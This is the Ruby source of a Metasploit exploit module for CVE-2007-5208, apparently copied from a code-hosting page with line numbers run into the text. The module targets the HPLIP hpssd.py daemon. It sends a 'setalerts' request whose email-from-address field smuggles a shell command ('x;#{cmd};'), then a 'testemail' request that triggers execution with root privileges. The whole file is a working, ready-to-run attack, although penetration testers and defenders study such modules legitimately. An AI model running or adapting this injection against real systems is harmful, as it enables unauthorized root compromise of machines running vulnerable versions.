Path: blob/master/modules/exploits/linux/misc/hplip_hpssd_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'HPLIP hpssd.py From Address Arbitrary Command Execution',15'Description' => %q{16This module exploits a command execution vulnerable in the hpssd.py17daemon of the Hewlett-Packard Linux Imaging and Printing Project.18According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.1920This module was written and tested using the Fedora 6 Linux distribution.21On the test system, the daemon listens on localhost only and runs with22root privileges. Although the configuration shows the daemon is to23listen on port 2207, it actually listens on a dynamic port.2425NOTE: If the target system does not have a 'sendmail' command installed,26this vulnerability cannot be exploited.27},28'Author' => [ 'jduck' ],29'License' => MSF_LICENSE,30'References' => [31[ 'CVE', '2007-5208' ],32[ 'OSVDB', '41693' ],33[ 'BID', '26054' ],34[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],35[ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]36],37'Platform' => ['unix'],38'Arch' => ARCH_CMD,39'Privileged' => true,40'Payload' => {41'Space' => 1024,42'DisableNops' => true,43'Compat' =>44{45'PayloadType' => 'cmd',46# *_perl and *_ruby work if they are installed47# inetd isn't used on FC6/7 (xinetd is)48# netcat doesn't have -e by default49}50},51'Targets' => [52[ 'Automatic (hplip-1.6.7-4.i386.rpm)', {} ]53],54'DefaultTarget' => 0,55'DisclosureDate' => '2007-10-04',56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options(65[66Opt::RPORT(2207),67]68)69end7071def exploit72connect7374# cmd = "nohup " + payload.encoded75cmd = payload.encoded7677username = 'root'78toaddr = 'nosuchuser'7980# first setalerts81print_status("Sending 'setalerts' request with encoded command line...")82msg = "username=#{username}\n" +83"email-alerts=1\n" +84# "email-from-address=`#{cmd}`\n" +85"email-from-address=x;#{cmd};\n" +86"email-to-addresses=#{toaddr}\n" +87"msg=setalerts\n"88sock.put(msg)8990# next, the test email command91print_status("Sending 'testemail' request to trigger execution...")92msg = "msg=testemail\n"93sock.put(msg)94end95end969798